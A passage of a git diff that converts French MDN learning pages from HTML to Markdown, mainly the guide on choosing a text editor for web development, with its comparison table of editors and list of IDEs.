vous donner une vue d'ensemble utile de haut niveau de l'accessibilité, vous expliquer pourquoi c'est important et voir comment vous pouvez l'intégrer à votre flux de travail. Vous devriez maintenant aussi avoir soif d'apprendre les détails de la mise en œuvre susceptibles de rendre des sites accessibles. Nous commencerons dans cette question dans la section suivante, en nous demandant pourquoi le HTML constitue une bonne base d'accessibilité.</p> +Cet article aurait dû vous donner une vue d'ensemble utile de haut niveau de l'accessibilité, vous expliquer pourquoi c'est important et voir comment vous pouvez l'intégrer à votre flux de travail. Vous devriez maintenant aussi avoir soif d'apprendre les détails de la mise en œuvre susceptibles de rendre des sites accessibles. Nous commencerons dans cette question dans la section suivante, en nous demandant pourquoi le HTML constitue une bonne base d'accessibilité. -<p>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</p> +{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}} diff --git a/files/fr/learn/common_questions/available_text_editors/index.md b/files/fr/learn/common_questions/available_text_editors/index.md index 42107015ba..448c6245fe 100644 --- a/files/fr/learn/common_questions/available_text_editors/index.md +++ b/files/fr/learn/common_questions/available_text_editors/index.md @@ -10,282 +10,443 @@ tags: translation_of: Learn/Common_questions/Available_text_editors original_slug: Apprendre/Choisir_installer_paramétrer_un_éditeur_de_texte --- -<div>{{IncludeSubnav("/fr/Apprendre")}}</div> -<p>Dans cet article, nous présentons les éléments principaux à connaître pour installer un éditeur de texte utilisé pour du développement web.</p> +{{IncludeSubnav("/fr/Apprendre")}} + +Dans cet article, nous présentons les éléments principaux à connaître pour installer un éditeur de texte utilisé pour du développement web. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devriez déjà connaître <a href="/fr/Learn/What_software_do_I_need">les différents logiciels nécessaires pour construire un site web</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre comment choisir un éditeur de texte qui répondra à vos besoins en tant que développeur web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devriez déjà connaître + <a href="/fr/Learn/What_software_do_I_need" + >les différents logiciels nécessaires pour construire un site web</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre comment choisir un éditeur de texte qui répondra à vos besoins + en tant que développeur web. + </td> + </tr> + </tbody> </table> -<p>Un site web est, pour une grande partie, composé de fichiers texte. Pour cette raison, afin de développer dans les meilleures conditions, vous devriez choisir votre éditeur de texte soigneusement.</p> +Un site web est, pour une grande partie, composé de fichiers texte. Pour cette raison, afin de développer dans les meilleures conditions, vous devriez choisir votre éditeur de texte soigneusement. -<p>La quantité d'éditeurs de texte existants peut être un peu écrasante. Il en existe beaucoup car c'est un outil de base en informatique (et oui, le développement web est un des domaines de l'informatique). En général, vous pouvez utiliser autant d'éditeurs de texte que vous voulez pour voir lequel vous convient le mieux en termes d'ergonomie et de méthode de travail. Pour vous aider, voici quelques pistes.</p> +La quantité d'éditeurs de texte existants peut être un peu écrasante. Il en existe beaucoup car c'est un outil de base en informatique (et oui, le développement web est un des domaines de l'informatique). En général, vous pouvez utiliser autant d'éditeurs de texte que vous voulez pour voir lequel vous convient le mieux en termes d'ergonomie et de méthode de travail. Pour vous aider, voici quelques pistes. -<p>Voici quelques questions qui peuvent vous aider à choisir :</p> +Voici quelques questions qui peuvent vous aider à choisir : -<ul> - <li>Quel système d'exploitation (<em>OS</em>) utilisez-vous pour travailler ?</li> - <li>Quelles technologies souhaitez-vous manipuler ?</li> - <li>Quelles types de fonctionnalités de bases attendez-vous de la part d'un éditeur de texte ?</li> - <li>Souhaitez-vous ajoutez des fonctionnalités supplémentaires à votre éditeur de texte ?</li> - <li>Souhaitez-vous bénéficier d'aide ou d'un support pour votre éditeur de texte ?</li> - <li>Est-ce que le style et l'apparence du logiciel sont importants pour vous ?</li> -</ul> +- Quel système d'exploitation (_OS_) utilisez-vous pour travailler ? +- Quelles technologies souhaitez-vous manipuler ? +- Quelles types de fonctionnalités de bases attendez-vous de la part d'un éditeur de texte ? +- Souhaitez-vous ajoutez des fonctionnalités supplémentaires à votre éditeur de texte ? +- Souhaitez-vous bénéficier d'aide ou d'un support pour votre éditeur de texte ? +- Est-ce que le style et l'apparence du logiciel sont importants pour vous ? -<p>Nous n'avons pas évoqué le prix. Bien entendu, cela a également son importance. Cependant, il faut garder à l'esprit qu'il n'y a pas nécessairement de lien entre le coût d'un outil et la richesse de ses fonctionnalités. Un éditeur de texte étant un outil de base pour le développement, il est très probable que vous trouviez un éditeur de texte gratuit qui réponde tout à fait à vos besoins.</p> +Nous n'avons pas évoqué le prix. Bien entendu, cela a également son importance. Cependant, il faut garder à l'esprit qu'il n'y a pas nécessairement de lien entre le coût d'un outil et la richesse de ses fonctionnalités. Un éditeur de texte étant un outil de base pour le développement, il est très probable que vous trouviez un éditeur de texte gratuit qui réponde tout à fait à vos besoins. -<div class="note"> -<p><strong>Note :</strong> Le développement web est un domaine principalement anglophone, vous trouverez de nombreuses documentations également en français mais soyez conscient-es que la plupart des informations autour de certains logiciels seront en anglais sur le Web.</p> -</div> +> **Note :** Le développement web est un domaine principalement anglophone, vous trouverez de nombreuses documentations également en français mais soyez conscient-es que la plupart des informations autour de certains logiciels seront en anglais sur le Web. -<p>Voici un tableau de quelques éditeurs de texte connus :</p> +Voici un tableau de quelques éditeurs de texte connus : <table class="standard-table"> - <thead> - <tr> - <th scope="col">Éditeur</th> - <th scope="col">Licence</th> - <th scope="col">Prix</th> - <th scope="col">Système d'exploitation</th> - <th scope="col">Support</th> - <th scope="col">Documentation</th> - <th scope="col">Extensible</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="https://atom.io/">Atom</a></td> - <td>MIT/BSD</td> - <td style="text-align: center;">Gratuit</td> - <td>Windows, Mac, Linux</td> - <td><a href="https://discuss.atom.io/categories">Forum</a></td> - <td><a href="https://atom.io/docs/latest/">Manuel en ligne</a></td> - <td style="text-align: center;"><a href="https://atom.io/packages">Oui</a></td> - </tr> - <tr> - <td><a href="http://brackets.io/">Brackets</a></td> - <td>MIT/BSD</td> - <td style="text-align: center;">Gratuit</td> - <td>Windows, Mac, Linux</td> - <td><a href="https://groups.google.com/forum/#!forum/brackets-dev" rel="external">Forum</a>, <a href="http://webchat.freenode.net/?channels=brackets" rel="external">IRC</a></td> - <td><a href="https://github.com/adobe/brackets/wiki" rel="external">Wiki GitHub</a></td> - <td style="text-align: center;"><a href="https://ingorichter.github.io/BracketsExtensionTweetBot/" rel="external">Oui</a></td> - </tr> - <tr> - <td><a href="https://panic.com/coda/" rel="external">Coda</a></td> - <td>Propriétaire</td> - <td style="text-align: center;">99 $</td> - <td>Mac</td> - <td><a href="https://twitter.com/panic">Twitter</a>, <a href="https://panic.com/qa" rel="external">Forum</a>, <a href="mailto:coda@panic.com">e-mail</a></td> - <td><a href="https://panic.com/coda/#book">eBook</a></td> - <td style="text-align: center;"><a href="https://panic.com/coda/plugins.php">Oui</a></td> - </tr> - <tr> - <td><a href="http://www.gnu.org/software/emacs/" rel="external">Emacs</a></td> - <td>GPL 3</td> - <td style="text-align: center;">Gratuit</td> - <td>Windows, Mac, Linux</td> - <td><a href="http://www.gnu.org/software/emacs/manual/efaq.html" rel="external">FAQ</a>, <a href="http://mail.gnu.org/mailman/listinfo/help-gnu-emacs" rel="external">liste de diffusion (anglophone)</a>, <a href="news://gnu.emacs.help" rel="external">News Group</a></td> - <td><a href="http://www.gnu.org/software/emacs/manual/html_node/emacs/index.html">Manuel en ligne</a> / Tutoriel en français depuis l'éditeur / <a href="http://doc.ubuntu-fr.org/emacs">pages sur Ubuntu-fr</a></td> - <td style="text-align: center;">Oui</td> - </tr> - <tr> - <td><a href="http://www.macrabbit.com/espresso/">Espresso</a></td> - <td>Propriétaire</td> - <td style="text-align: center;">75 $</td> - <td>Mac</td> - <td><a href="http://www.macrabbit.com/support/" rel="external">FAQ</a>, <a href="mailto:support@macrabbit.com">e-mail</a></td> - <td>Pas de documentation utilisateur mais il existe une <a href="http://wiki.macrabbit.com/">documentation pour les extensions (<em>plug-ins</em>)</a></td> - <td style="text-align: center;">Oui</td> - </tr> - <tr> - <td><a href="https://wiki.gnome.org/Apps/Gedit">Gedit</a></td> - <td>GPL</td> - <td style="text-align: center;">Gratuit</td> - <td>Windows, Mac, Linux</td> - <td><a href="http://mail.gnome.org/mailman/listinfo/gedit-list" rel="external">Liste de diffusion (anglophone)</a>, <a href="irc://irc.gnome.org/%23gedit">IRC</a></td> - <td><a href="https://help.gnome.org/users/gedit/stable/">Manuel en ligne</a> (en français) / <a href="http://doc.ubuntu-fr.org/gedit">Introduction sur Ubuntu-fr</a></td> - <td style="text-align: center;"><a href="https://wiki.gnome.org/Apps/Gedit/PluginsLists">Oui</a></td> - </tr> - <tr> - <td><a href="http://komodoide.com/komodo-edit/" rel="external">Komodo Edit</a></td> - <td>MPL</td> - <td style="text-align: center;">Gratuit</td> - <td>Windows, Mac, Linux</td> - <td><a href="http://forum.komodoide.com/" rel="external">Forum</a></td> - <td><a href="http://docs.activestate.com/komodo/8.5/" rel="external">Manuel en ligne</a></td> - <td style="text-align: center;"><a href="http://komodoide.com/resources/addons/">Oui</a></td> - </tr> - <tr> - <td><a href="http://www.notepad-plus-plus.org/" rel="external">Notepad++</a></td> - <td><a href="https://notepad-plus-plus.org/fr/news/notepad-6.1.1-gpl-enhancement.html">GPL modifiée</a></td> - <td style="text-align: center;">Gratuit</td> - <td>Windows</td> - <td><a href="http://sourceforge.net/p/notepad-plus/discussion/">Forum</a></td> - <td><a href="http://npp-wiki.tuxfamily.org/index.php?title=Main_Page" rel="external">Wiki</a></td> - <td style="text-align: center;"><a href="http://npp-wiki.tuxfamily.org/index.php?title=Plugin_Central" rel="external">Oui</a></td> - </tr> - <tr> - <td><a href="http://www.pspad.com/fr/">PSPad</a></td> - <td>Propriétaire</td> - <td style="text-align: center;">Gratuit</td> - <td>Windows</td> - <td><a href="http://gogogadgetscott.info/pspad/dotazy.htm">FAQ</a>, <a href="http://forum.pspad.com/" rel="external">Forum</a></td> - <td><a href="http://gogogadgetscott.info/pspad/">Aide en ligne</a></td> - <td style="text-align: center;"><a href="http://www.pspad.com/en/pspad-extensions.php">Yes</a></td> - </tr> - <tr> - <td><a href="http://www.sublimetext.com/" rel="external">Sublime Text</a></td> - <td>Propriétaire</td> - <td style="text-align: center;">$70</td> - <td>Windows, Mac, Linux</td> - <td><a href="http://www.sublimetext.com/forum/viewforum.php?f=3" rel="external">Forum</a></td> - <td><a href="http://www.sublimetext.com/docs/3/">Documentation officielle</a>,<a href="http://docs.sublimetext.info/en/latest/index.html"> documentation officieuse</a></td> - <td style="text-align: center;"><a href="https://sublime.wbond.net/">Oui</a></td> - </tr> - <tr> - <td><a href="http://macromates.com/" rel="external">TextMate</a></td> - <td>Propriétaire</td> - <td style="text-align: center;">$50</td> - <td>Mac</td> - <td><a href="https://twitter.com/macromates">Twitter</a>, <a href="http://webchat.freenode.net/?channels=textmate">IRC</a>, <a href="http://lists.macromates.com/listinfo/textmate" rel="external">liste de diffusion (anglophone)</a>, <a href="mailto:tm-support@macromates.com">E-mail</a></td> - <td><a href="http://manual.macromates.com/en/">Manuel en ligne</a>, <a href="http://wiki.macromates.com/Main/HomePage" rel="external">Wiki</a></td> - <td style="text-align: center;"><a href="http://wiki.macromates.com/Main/Plugins" rel="external">Oui</a></td> - </tr> - <tr> - <td><a href="http://www.barebones.com/products/textwrangler/" rel="external">TextWrangler</a></td> - <td>Propriétaire</td> - <td style="text-align: center;">Gratuit</td> - <td>Mac</td> - <td><a href="http://www.barebones.com/support/textwrangler/faqs.html" rel="external">FAQ</a>, <a href="https://groups.google.com/forum/#!forum/textwrangler">Forum</a></td> - <td><a href="http://ash.barebones.com/TextWrangler_User_Manual.pdf" rel="external">Manuel PDF</a></td> - <td style="text-align: center;">Non</td> - </tr> - <tr> - <td><a href="http://www.vim.org/" rel="external">Vim</a></td> - <td><a href="http://vimdoc.sourceforge.net/htmldoc/uganda.html#license" rel="external">Licence ouverte spécifique</a></td> - <td style="text-align: center;">Gratuit</td> - <td>Windows, Mac, Linux</td> - <td><a href="http://www.vim.org/maillist.php#vim" rel="external">Liste de diffusion (anglophone)</a>, <a href="http://tuppervim.org/">tuppervim (communauté francophone)</a></td> - <td><a href="http://vimdoc.sourceforge.net/">Manuel en ligne</a>, tutoriel en français disponible depuis l'éditeur, <a href="http://doc.ubuntu-fr.org/vim">introduction sur Ubuntu-fr (en français)</a></td> - <td style="text-align: center;"><a href="http://www.vim.org/scripts/script_search_results.php?order_by=creation_date&direction=descending" rel="external">Oui</a></td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Éditeur</th> + <th scope="col">Licence</th> + <th scope="col">Prix</th> + <th scope="col">Système d'exploitation</th> + <th scope="col">Support</th> + <th scope="col">Documentation</th> + <th scope="col">Extensible</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://atom.io/">Atom</a></td> + <td>MIT/BSD</td> + <td style="text-align: center">Gratuit</td> + <td>Windows, Mac, Linux</td> + <td><a href="https://discuss.atom.io/categories">Forum</a></td> + <td><a href="https://atom.io/docs/latest/">Manuel en ligne</a></td> + <td style="text-align: center"> + <a href="https://atom.io/packages">Oui</a> + </td> + </tr> + <tr> + <td><a href="http://brackets.io/">Brackets</a></td> + <td>MIT/BSD</td> + <td style="text-align: center">Gratuit</td> + <td>Windows, Mac, Linux</td> + <td> + <a + href="https://groups.google.com/forum/#!forum/brackets-dev" + rel="external" + >Forum</a + >, + <a href="http://webchat.freenode.net/?channels=brackets" rel="external" + >IRC</a + > + </td> + <td> + <a href="https://github.com/adobe/brackets/wiki" rel="external" + >Wiki GitHub</a + > + </td> + <td style="text-align: center"> + <a + href="https://ingorichter.github.io/BracketsExtensionTweetBot/" + rel="external" + >Oui</a + > + </td> + </tr> + <tr> + <td><a href="https://panic.com/coda/" rel="external">Coda</a></td> + <td>Propriétaire</td> + <td style="text-align: center">99 $</td> + <td>Mac</td> + <td> + <a href="https://twitter.com/panic">Twitter</a>, + <a href="https://panic.com/qa" rel="external">Forum</a>, + <a href="mailto:coda@panic.com">e-mail</a> + </td> + <td><a href="https://panic.com/coda/#book">eBook</a></td> + <td style="text-align: center"> + <a href="https://panic.com/coda/plugins.php">Oui</a> + </td> + </tr> + <tr> + <td> + <a href="http://www.gnu.org/software/emacs/" rel="external">Emacs</a> + </td> + <td>GPL 3</td> + <td style="text-align: center">Gratuit</td> + <td>Windows, Mac, Linux</td> + <td> + <a + href="http://www.gnu.org/software/emacs/manual/efaq.html" + rel="external" + >FAQ</a + >, + <a + href="http://mail.gnu.org/mailman/listinfo/help-gnu-emacs" + rel="external" + >liste de diffusion (anglophone)</a + >, <a href="news://gnu.emacs.help" rel="external">News Group</a> + </td> + <td> + <a + href="http://www.gnu.org/software/emacs/manual/html_node/emacs/index.html" + >Manuel en ligne</a + > + / Tutoriel en français depuis l'éditeur / + <a href="http://doc.ubuntu-fr.org/emacs">pages sur Ubuntu-fr</a> + </td> + <td style="text-align: center">Oui</td> + </tr> + <tr> + <td><a href="http://www.macrabbit.com/espresso/">Espresso</a></td> + <td>Propriétaire</td> + <td style="text-align: center">75 $</td> + <td>Mac</td> + <td> + <a href="http://www.macrabbit.com/support/" rel="external">FAQ</a>, + <a href="mailto:support@macrabbit.com">e-mail</a> + </td> + <td> + Pas de documentation utilisateur mais il existe une + <a href="http://wiki.macrabbit.com/" + >documentation pour les extensions (<em>plug-ins</em>)</a + > + </td> + <td style="text-align: center">Oui</td> + </tr> + <tr> + <td><a href="https://wiki.gnome.org/Apps/Gedit">Gedit</a></td> + <td>GPL</td> + <td style="text-align: center">Gratuit</td> + <td>Windows, Mac, Linux</td> + <td> + <a + href="http://mail.gnome.org/mailman/listinfo/gedit-list" + rel="external" + >Liste de diffusion (anglophone)</a + >, <a href="irc://irc.gnome.org/%23gedit">IRC</a> + </td> + <td> + <a href="https://help.gnome.org/users/gedit/stable/">Manuel en ligne</a> + (en français) / + <a href="http://doc.ubuntu-fr.org/gedit">Introduction sur Ubuntu-fr</a> + </td> + <td style="text-align: center"> + <a href="https://wiki.gnome.org/Apps/Gedit/PluginsLists">Oui</a> + </td> + </tr> + <tr> + <td> + <a href="http://komodoide.com/komodo-edit/" rel="external" + >Komodo Edit</a + > + </td> + <td>MPL</td> + <td style="text-align: center">Gratuit</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://forum.komodoide.com/" rel="external">Forum</a></td> + <td> + <a href="http://docs.activestate.com/komodo/8.5/" rel="external" + >Manuel en ligne</a + > + </td> + <td style="text-align: center"> + <a href="http://komodoide.com/resources/addons/">Oui</a> + </td> + </tr> + <tr> + <td> + <a href="http://www.notepad-plus-plus.org/" rel="external">Notepad++</a> + </td> + <td> + <a + href="https://notepad-plus-plus.org/fr/news/notepad-6.1.1-gpl-enhancement.html" + >GPL modifiée</a + > + </td> + <td style="text-align: center">Gratuit</td> + <td>Windows</td> + <td> + <a href="http://sourceforge.net/p/notepad-plus/discussion/">Forum</a> + </td> + <td> + <a + href="http://npp-wiki.tuxfamily.org/index.php?title=Main_Page" + rel="external" + >Wiki</a + > + </td> + <td style="text-align: center"> + <a + href="http://npp-wiki.tuxfamily.org/index.php?title=Plugin_Central" + rel="external" + >Oui</a + > + </td> + </tr> + <tr> + <td><a href="http://www.pspad.com/fr/">PSPad</a></td> + <td>Propriétaire</td> + <td style="text-align: center">Gratuit</td> + <td>Windows</td> + <td> + <a href="http://gogogadgetscott.info/pspad/dotazy.htm">FAQ</a>, + <a href="http://forum.pspad.com/" rel="external">Forum</a> + </td> + <td><a href="http://gogogadgetscott.info/pspad/">Aide en ligne</a></td> + <td style="text-align: center"> + <a href="http://www.pspad.com/en/pspad-extensions.php">Yes</a> + </td> + </tr> + <tr> + <td> + <a href="http://www.sublimetext.com/" rel="external">Sublime Text</a> + </td> + <td>Propriétaire</td> + <td style="text-align: center">$70</td> + <td>Windows, Mac, Linux</td> + <td> + <a + href="http://www.sublimetext.com/forum/viewforum.php?f=3" + rel="external" + >Forum</a + > + </td> + <td> + <a href="http://www.sublimetext.com/docs/3/">Documentation officielle</a + >,<a href="http://docs.sublimetext.info/en/latest/index.html"> + documentation officieuse</a + > + </td> + <td style="text-align: center"> + <a href="https://sublime.wbond.net/">Oui</a> + </td> + </tr> + <tr> + <td><a href="http://macromates.com/" rel="external">TextMate</a></td> + <td>Propriétaire</td> + <td style="text-align: center">$50</td> + <td>Mac</td> + <td> + <a href="https://twitter.com/macromates">Twitter</a>, + <a href="http://webchat.freenode.net/?channels=textmate">IRC</a>, + <a href="http://lists.macromates.com/listinfo/textmate" rel="external" + >liste de diffusion (anglophone)</a + >, <a href="mailto:tm-support@macromates.com">E-mail</a> + </td> + <td> + <a href="http://manual.macromates.com/en/">Manuel en ligne</a>, + <a href="http://wiki.macromates.com/Main/HomePage" rel="external" + >Wiki</a + > + </td> + <td style="text-align: center"> + <a href="http://wiki.macromates.com/Main/Plugins" rel="external">Oui</a> + </td> + </tr> + <tr> + <td> + <a href="http://www.barebones.com/products/textwrangler/" rel="external" + >TextWrangler</a + > + </td> + <td>Propriétaire</td> + <td style="text-align: center">Gratuit</td> + <td>Mac</td> + <td> + <a + href="http://www.barebones.com/support/textwrangler/faqs.html" + rel="external" + >FAQ</a + >, + <a href="https://groups.google.com/forum/#!forum/textwrangler">Forum</a> + </td> + <td> + <a + href="http://ash.barebones.com/TextWrangler_User_Manual.pdf" + rel="external" + >Manuel PDF</a + > + </td> + <td style="text-align: center">Non</td> + </tr> + <tr> + <td><a href="http://www.vim.org/" rel="external">Vim</a></td> + <td> + <a + href="http://vimdoc.sourceforge.net/htmldoc/uganda.html#license" + rel="external" + >Licence ouverte spécifique</a + > + </td> + <td style="text-align: center">Gratuit</td> + <td>Windows, Mac, Linux</td> + <td> + <a href="http://www.vim.org/maillist.php#vim" rel="external" + >Liste de diffusion (anglophone)</a + >, + <a href="http://tuppervim.org/">tuppervim (communauté francophone)</a> + </td> + <td> + <a href="http://vimdoc.sourceforge.net/">Manuel en ligne</a>, tutoriel + en français disponible depuis l'éditeur, + <a href="http://doc.ubuntu-fr.org/vim" + >introduction sur Ubuntu-fr (en français)</a + > + </td> + <td style="text-align: center"> + <a + href="http://www.vim.org/scripts/script_search_results.php?order_by=creation_date&direction=descending" + rel="external" + >Oui</a + > + </td> + </tr> + </tbody> </table> -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active + +_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/Débuter_sur_MDN)._ + +## Aller plus loin + +### Critères de choix -<p><em>Il n'y a, pour le moment, pas de matériau pour la pédagogie active. <a href="/fr/docs/MDN/Débuter_sur_MDN">Cependant, vous pouvez contribuer</a>.</em></p> +Rentrons dans les détails, à quoi faut-il penser lorsqu'on choisit un éditeur de texte ? -<h2 id="Aller_plus_loin">Aller plus loin</h2> +#### Quel est le système d'exploitation que j'utiliser pour travailler ? -<h3 id="Critères_de_choix">Critères de choix</h3> +Bien entendu, vous êtes entièrement libre de choisir le système d'exploitation que vous utilisez. Cependant, certains éditeurs ne sont disponibles que pour certains systèmes d'exploitation. Aussi, si vous souhaitez passer facilement d'un système d'exploitation à un autre, cela réduit le choix. N'importe quel éditeur de texte permettra de faire ce qui est nécessaire s'il fonctionne sur votre système, malgré cela, un éditeur multi-plateforme facilitera le passage d'un système d'exploitation à un autre. -<p>Rentrons dans les détails, à quoi faut-il penser lorsqu'on choisit un éditeur de texte ?</p> +Il faut donc tout d'abord déterminer le système d'exploitation que vous utilisez puis vérifier si l'éditeur de texte est supporté sur ce système. La plupart des éditeurs affichent sur leur site web s'ils fonctionnent sur Windows ou Mac ou Linux. Attention, certains éditeurs ne fonctionnent que sur certaines versions de systèmes d'exploitation. Si vous utilisez Ubuntu, préférez passer par la Logithèque Ubuntu. Par ailleurs, le monde Linux/UNIX est un environnement assez varié et chaque distribution fonctionne à sa façon, éventuellement avec un système de paquets qui peut être incompatible avec d'autres distributions. Dans ce cas, si vous souhaitez à tout prix utiliser un éditeur de texte d'une autre distribution, vous pourriez avoir à le recompiler depuis le code source (déconseillé aux âmes sensibles). -<h4 id="Quel_est_le_système_d'exploitation_que_j'utiliser_pour_travailler">Quel est le système d'exploitation que j'utiliser pour travailler ?</h4> +#### Quelles sont les technologies que je serai amené-e à manipuler ? -<p>Bien entendu, vous êtes entièrement libre de choisir le système d'exploitation que vous utilisez. Cependant, certains éditeurs ne sont disponibles que pour certains systèmes d'exploitation. Aussi, si vous souhaitez passer facilement d'un système d'exploitation à un autre, cela réduit le choix. N'importe quel éditeur de texte permettra de faire ce qui est nécessaire s'il fonctionne sur votre système, malgré cela, un éditeur multi-plateforme facilitera le passage d'un système d'exploitation à un autre.</p> +De façon générale, n'importe quel éditeur de texte peut ouvrir n'importe quel fichier texte. Cela fonctionne parfaitement pour prendre des notes toutes simples. En revanche, pour le développement web et la manipulation de fichiers {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("JavaScript")}}, on peut être amené à manipuler des fichiers beaucoup plus grands et complexes. Simplifiez-vous la vie en choisissant un éditeur de texte qui s'adapte aux technologies que vous utilisez. De nombreux éditeurs de texte pourront vous aider avec des fonctionnalités comme : -<p>Il faut donc tout d'abord déterminer le système d'exploitation que vous utilisez puis vérifier si l'éditeur de texte est supporté sur ce système. La plupart des éditeurs affichent sur leur site web s'ils fonctionnent sur Windows ou Mac ou Linux. Attention, certains éditeurs ne fonctionnent que sur certaines versions de systèmes d'exploitation. Si vous utilisez Ubuntu, préférez passer par la Logithèque Ubuntu. Par ailleurs, le monde Linux/UNIX est un environnement assez varié et chaque distribution fonctionne à sa façon, éventuellement avec un système de paquets qui peut être incompatible avec d'autres distributions. Dans ce cas, si vous souhaitez à tout prix utiliser un éditeur de texte d'une autre distribution, vous pourriez avoir à le recompiler depuis le code source (déconseillé aux âmes sensibles).</p> +- **La coloration du code.** Cela permet que les fichiers soient plus lisibles grâce à la coloration des mots-clés des langages utilisés. +- **L'auto-complétion.** Cela vous permet de gagner du temps en complétant automatiquement les portions de codes (par exemple en fermant automatiquement les balises HTML, en suggérant des valeurs de propriétés CSS, etc.). +- **Les fragments (_snippets_) de code.** Vous verrez, lorsque vous utiliserez HTML (ou d'autres technologies), que pour chaque document, certains éléments sont répétés à chaque fois. Le logiciel vous épargnera de nombreux copier-coller en insérant automatiquement le fragment à répéter et vous pourrez vous concentrer sur le contenu « utile » des documents. -<h4 id="Quelles_sont_les_technologies_que_je_serai_amené-e_à_manipuler">Quelles sont les technologies que je serai amené-e à manipuler ?</h4> +La plupart des éditeurs de texte supporte désormais la coloration du code. Ce n'est pas toujours vrai pour les deux autres fonctionnalités. Pour le développement web, assurez-vous que votre éditeur de texte supporte la coloration syntaxique du code pour {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("JavaScript")}}. -<p>De façon générale, n'importe quel éditeur de texte peut ouvrir n'importe quel fichier texte. Cela fonctionne parfaitement pour prendre des notes toutes simples. En revanche, pour le développement web et la manipulation de fichiers {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("JavaScript")}}, on peut être amené à manipuler des fichiers beaucoup plus grands et complexes. Simplifiez-vous la vie en choisissant un éditeur de texte qui s'adapte aux technologies que vous utilisez. De nombreux éditeurs de texte pourront vous aider avec des fonctionnalités comme :</p> +#### Quelles sont les fonctionnalités de base dont j'ai besoin ? -<ul> - <li><strong>La coloration du code.</strong> Cela permet que les fichiers soient plus lisibles grâce à la coloration des mots-clés des langages utilisés.</li> - <li><strong>L'auto-complétion.</strong> Cela vous permet de gagner du temps en complétant automatiquement les portions de codes (par exemple en fermant automatiquement les balises HTML, en suggérant des valeurs de propriétés CSS, etc.).</li> - <li><strong>Les fragments (<em>snippets</em>) de code. </strong>Vous verrez, lorsque vous utiliserez HTML (ou d'autres technologies), que pour chaque document, certains éléments sont répétés à chaque fois. Le logiciel vous épargnera de nombreux copier-coller en insérant automatiquement le fragment à répéter et vous pourrez vous concentrer sur le contenu « utile » des documents.</li> -</ul> +Cela dépendra avant tout de vos besoins et de ce que vous prévoyez de faire. Généralement, ces fonctionnalités s'avèrent plutôt utiles : -<p>La plupart des éditeurs de texte supporte désormais la coloration du code. Ce n'est pas toujours vrai pour les deux autres fonctionnalités. Pour le développement web, assurez-vous que votre éditeur de texte supporte la coloration syntaxique du code pour {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("JavaScript")}}.</p> +- Chercher et remplacer, dans un ou plusieurs documents à la fois, notamment grâce aux {{Glossary("Expressions rationnelles", "expressions rationnelles")}} ou à d'autres motifs de recherche +- Aller rapidement à une ligne donnée +- Pouvoir voir deux parties d'un même document simultanément (utile pour les longs documents) +- Voir le HTML tel qu'il est rendu dans le navigateur +- Sélectionner du texte simultanément sur plusieurs zones +- Voir l'arborescence des répertoires et des fichiers de votre/vos projet(s) +- Formater automatiquement votre code grâce à l'éditeur +- Vérifier l'orthographe ou le code -<h4 id="Quelles_sont_les_fonctionnalités_de_base_dont_j'ai_besoin">Quelles sont les fonctionnalités de base dont j'ai besoin ?</h4> +#### Est-ce que je souhaite ajouter des fonctionnalités supplémentaires à mon éditeur de texte ? -<p>Cela dépendra avant tout de vos besoins et de ce que vous prévoyez de faire. Généralement, ces fonctionnalités s'avèrent plutôt utiles :</p> +Un éditeur de texte peut avoir peu de fonctionnalités de base mais être extensible pour s'adapter à vos besoins. -<ul> - <li>Chercher et remplacer, dans un ou plusieurs documents à la fois, notamment grâce aux {{Glossary("Expressions rationnelles", "expressions rationnelles")}} ou à d'autres motifs de recherche</li> - <li>Aller rapidement à une ligne donnée</li> - <li>Pouvoir voir deux parties d'un même document simultanément (utile pour les longs documents)</li> - <li>Voir le HTML tel qu'il est rendu dans le navigateur</li> - <li>Sélectionner du texte simultanément sur plusieurs zones</li> - <li>Voir l'arborescence des répertoires et des fichiers de votre/vos projet(s)</li> - <li>Formater automatiquement votre code grâce à l'éditeur</li> - <li>Vérifier l'orthographe ou le code</li> -</ul> +Si vous n'êtes pas certain-e des fonctionnalités dont vous avez besoin ou que votre éditeur préféré ne possède pas, de base, les fonctionnalités que vous recherchez, vous pouvez choisir un éditeur extensible. Les meilleurs éditeurs fournissent de nombreuses extensions (_plugins_) et d'outils pour installer ces plugins automatiquement. Ces extensions vous permettront d'ajouter de nouvelles fonctionnalités à votre éditeur. -<h4 id="Est-ce_que_je_souhaite_ajouter_des_fonctionnalités_supplémentaires_à_mon_éditeur_de_texte">Est-ce que je souhaite ajouter des fonctionnalités supplémentaires à mon éditeur de texte ?</h4> +Si vous appréciez avoir de _nombreuses_ fonctionnalités et que tout ces plugins ralentissent votre éditeur, vous pouvez utiliser un environnement de développement intégré (ou IDE pour _Integrated Development Environment_ en anglais). Un IDE fournit de nombreux outils au travers d'une même interface. Cela peut paraître un peu intimidant pour les débutants mais cela peut aussi être un bon choix si votre éditeur de texte vous semble trop limité pour vos besoins. Les IDE les plus connus sont : -<p>Un éditeur de texte peut avoir peu de fonctionnalités de base mais être extensible pour s'adapter à vos besoins.</p> +- [Aptana Studio](http://www.aptana.com/) +- [Eclipse](https://eclipse.org/) +- [Komodo](http://komodoide.com/) +- [NetBeans](https://netbeans.org/) +- [Visual Studio](http://www.visualstudio.com/) +- [WebStorm](https://www.jetbrains.com/webstorm/) -<p>Si vous n'êtes pas certain-e des fonctionnalités dont vous avez besoin ou que votre éditeur préféré ne possède pas, de base, les fonctionnalités que vous recherchez, vous pouvez choisir un éditeur extensible. Les meilleurs éditeurs fournissent de nombreuses extensions (<em>plugins</em>) et d'outils pour installer ces 